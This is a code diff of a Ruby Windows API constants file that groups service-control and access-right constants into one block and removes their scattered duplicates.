win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
# Services
win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF)
# Service Start Types
win_const_mgr.add_const('START_TYPE_BOOT',0x00000000)
win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001)
win_const_mgr.add_const('START_TYPE_AUTO',0x00000002)
win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003)
win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004)
# Service States
win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
# Service Types
win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
# Service Manager Permissions
win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F)
# Service Permissions
win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
win_const_mgr.add_const('SERVICE_START',0x00000010)
win_const_mgr.add_const('SERVICE_STOP',0x00000020)
win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF)
win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003) win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003)
win_const_mgr.add_const('AVIIF_TWOCC',0x00000002) win_const_mgr.add_const('AVIIF_TWOCC',0x00000002)
win_const_mgr.add_const('TBTS_LEFT',0x00000001) win_const_mgr.add_const('TBTS_LEFT',0x00000001)
@ -3408,7 +3470,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002) win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002)
win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001) win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001)
win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B) win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B)
win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F) win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F)
win_const_mgr.add_const('DI_NEEDRESTART',0x00000080) win_const_mgr.add_const('DI_NEEDRESTART',0x00000080)
win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000) win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000)
@ -4450,7 +4511,6 @@ class ApiConstants
win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000) win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000)
win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000) win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000)
win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000) win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000)
win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004) win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004)
win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002) win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002)
win_const_mgr.add_const('CF_PALETTE',0x00000009) win_const_mgr.add_const('CF_PALETTE',0x00000009)
@ -5623,7 +5683,6 @@ class ApiConstants
win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F) win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F)
win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011) win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011)
win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100) win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100)
win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2) win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2)
win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030) win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030)
win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D) win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D)
@ -9255,7 +9314,6 @@ class ApiConstants
win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005) win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005)
win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000) win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000)
win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A) win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A)
win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004) win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004)
win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A) win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A)
win_const_mgr.add_const('VTBIT_CY',0x00000001) win_const_mgr.add_const('VTBIT_CY',0x00000001)
@ -9859,7 +9917,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9) win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9)
win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001) win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001)
win_const_mgr.add_const('PP_PROVTYPE',0x00000010) win_const_mgr.add_const('PP_PROVTYPE',0x00000010)
win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
win_const_mgr.add_const('MWMO_WAITALL',0x00000001) win_const_mgr.add_const('MWMO_WAITALL',0x00000001)
win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000) win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000)
win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3) win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3)
@ -10819,7 +10876,6 @@ class ApiConstants
win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000) win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000)
win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004) win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004)
win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080) win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080)
win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010) win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010)
win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001) win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001)
win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006) win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006)
@ -11675,7 +11731,6 @@ class ApiConstants
win_const_mgr.add_const('PORT_UAAC',0x00000091) win_const_mgr.add_const('PORT_UAAC',0x00000091)
win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010) win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010)
win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001) win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001)
win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
win_const_mgr.add_const('NUMPRS_PARENS',0x00000080) win_const_mgr.add_const('NUMPRS_PARENS',0x00000080)
win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200) win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200)
win_const_mgr.add_const('SQL_HC_OFF',0x00000000) win_const_mgr.add_const('SQL_HC_OFF',0x00000000)
@ -11965,7 +12020,6 @@ class ApiConstants
win_const_mgr.add_const('MCI_WAIT',0x00000002) win_const_mgr.add_const('MCI_WAIT',0x00000002)
win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025) win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025)
win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE) win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE)
win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A) win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A)
win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002) win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002)
win_const_mgr.add_const('XECR_PKCS7',0x00000002) win_const_mgr.add_const('XECR_PKCS7',0x00000002)
@ -12173,7 +12227,6 @@ class ApiConstants
win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000) win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000)
win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D) win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D)
win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026) win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026)
win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014) win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014)
win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA) win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA)
win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000) win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000)
@ -12243,7 +12296,6 @@ class ApiConstants
win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F) win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F)
win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5) win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5)
win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE) win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE)
win_const_mgr.add_const('DELETE',0x00010000)
win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003) win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003)
win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65) win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65)
win_const_mgr.add_const('OE_SETTING',0x00000004) win_const_mgr.add_const('OE_SETTING',0x00000004)
@ -12431,7 +12483,7 @@ class ApiConstants
win_const_mgr.add_const('ET_DITHERMODE',0x00000004) win_const_mgr.add_const('ET_DITHERMODE',0x00000004)
win_const_mgr.add_const('AA_A_ACL',0x00008000) win_const_mgr.add_const('AA_A_ACL',0x00008000)
win_const_mgr.add_const('MCI_UPDATE',0x00000854) win_const_mgr.add_const('MCI_UPDATE',0x00000854)
win_const_mgr.add_const('READ_CONTROL',0x00020000)
win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157) win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157)
win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961) win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961)
win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000) win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000)
@ -12739,7 +12791,6 @@ class ApiConstants
win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008) win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008)
win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002) win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002)
win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002) win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002)
win_const_mgr.add_const('SERVICE_STOP',0x00000020)
win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002) win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002)
win_const_mgr.add_const('MAX_LANA',0x000000FE) win_const_mgr.add_const('MAX_LANA',0x000000FE)
win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC) win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC)
@ -14732,7 +14783,6 @@ class ApiConstants
win_const_mgr.add_const('CDIS_GRAYED',0x00000002) win_const_mgr.add_const('CDIS_GRAYED',0x00000002)
win_const_mgr.add_const('DISPID_QUIT',0x00000067) win_const_mgr.add_const('DISPID_QUIT',0x00000067)
win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002) win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002)
win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001) win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001)
win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000) win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000)
win_const_mgr.add_const('PORT_WPGS',0x0000030C) win_const_mgr.add_const('PORT_WPGS',0x0000030C)
@ -15353,7 +15403,6 @@ class ApiConstants
win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002) win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002)
win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071) win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071)
win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004) win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004)
win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026) win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026)
win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206) win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206)
win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D) win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D)
@ -15754,7 +15803,6 @@ class ApiConstants
win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF) win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF)
win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011) win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011)
win_const_mgr.add_const('UINT8_MAX',0x00000000) win_const_mgr.add_const('UINT8_MAX',0x00000000)
win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000)
win_const_mgr.add_const('AE_SRVCONT',0x00000002) win_const_mgr.add_const('AE_SRVCONT',0x00000002)
win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789) win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789)
win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D) win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D)
@ -16075,7 +16123,6 @@ class ApiConstants
win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D) win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D)
win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001) win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001)
win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000) win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000)
win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7) win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7)
win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930) win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930)
win_const_mgr.add_const('RF_LATTICE',0x00000800) win_const_mgr.add_const('RF_LATTICE',0x00000800)
@ -17110,7 +17157,6 @@ class ApiConstants
win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008) win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008)
win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192) win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192)
win_const_mgr.add_const('SQL_TL_ON',0x00000001) win_const_mgr.add_const('SQL_TL_ON',0x00000001)
win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000) win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000)
win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A) win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A)
win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011) win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011)
@ -18538,7 +18584,6 @@ class ApiConstants
win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002) win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002)
win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200) win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200)
win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000) win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000)
win_const_mgr.add_const('WRITE_DAC',0x00040000)
win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000) win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000)
win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002) win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002)
win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001) win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001)
@ -20372,7 +20417,6 @@ class ApiConstants
win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001) win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001)
win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A) win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A)
win_const_mgr.add_const('TVC_UNKNOWN',0x00000000) win_const_mgr.add_const('TVC_UNKNOWN',0x00000000)
win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264) win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264)
win_const_mgr.add_const('PARTID_MASK',0x00000000) win_const_mgr.add_const('PARTID_MASK',0x00000000)
win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100) win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100)
@ -20721,7 +20765,6 @@ class ApiConstants
win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100) win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100)
win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000) win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000)
win_const_mgr.add_const('LANG_SINDHI',0x00000059) win_const_mgr.add_const('LANG_SINDHI',0x00000059)
win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF) win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF)
win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000) win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000)
win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000) win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000)
@ -20938,7 +20981,6 @@ class ApiConstants
win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020) win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020)
win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204) win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204)
win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040) win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040)
win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004) win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004)
win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004) win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004)
win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4) win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4)
@ -21904,7 +21946,6 @@ class ApiConstants
win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001) win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001)
win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003) win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003)
win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400) win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400)
win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200) win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200)
win_const_mgr.add_const('EMR_BITBLT',0x0000004C) win_const_mgr.add_const('EMR_BITBLT',0x0000004C)
win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000) win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000)
@ -23291,7 +23332,6 @@ class ApiConstants
win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000) win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000)
win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003) win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003)
win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100) win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100)
win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000) win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000)
win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED) win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED)
win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000) win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000)
@ -23830,7 +23870,6 @@ class ApiConstants
win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002) win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002)
win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001) win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001)
win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020) win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020)
win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003) win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003)
win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0) win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0)
win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02) win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02)
@ -24022,7 +24061,6 @@ class ApiConstants
win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000) win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000)
win_const_mgr.add_const('WM_COMPACTING',0x00000041) win_const_mgr.add_const('WM_COMPACTING',0x00000041)
win_const_mgr.add_const('EXITPUB_FILE',0x00000001) win_const_mgr.add_const('EXITPUB_FILE',0x00000001)
win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080) win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080)
win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001) win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001)
win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002) win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002)
@ -24229,7 +24267,6 @@ class ApiConstants
win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000) win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000)
win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000) win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000)
win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002) win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002)
win_const_mgr.add_const('SERVICE_START',0x00000010)
win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E) win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E)
win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001) win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001)
win_const_mgr.add_const('GESTURE_INFINITY',0x00000000) win_const_mgr.add_const('GESTURE_INFINITY',0x00000000)
@ -24327,7 +24364,6 @@ class ApiConstants
win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000) win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000)
win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003) win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003)
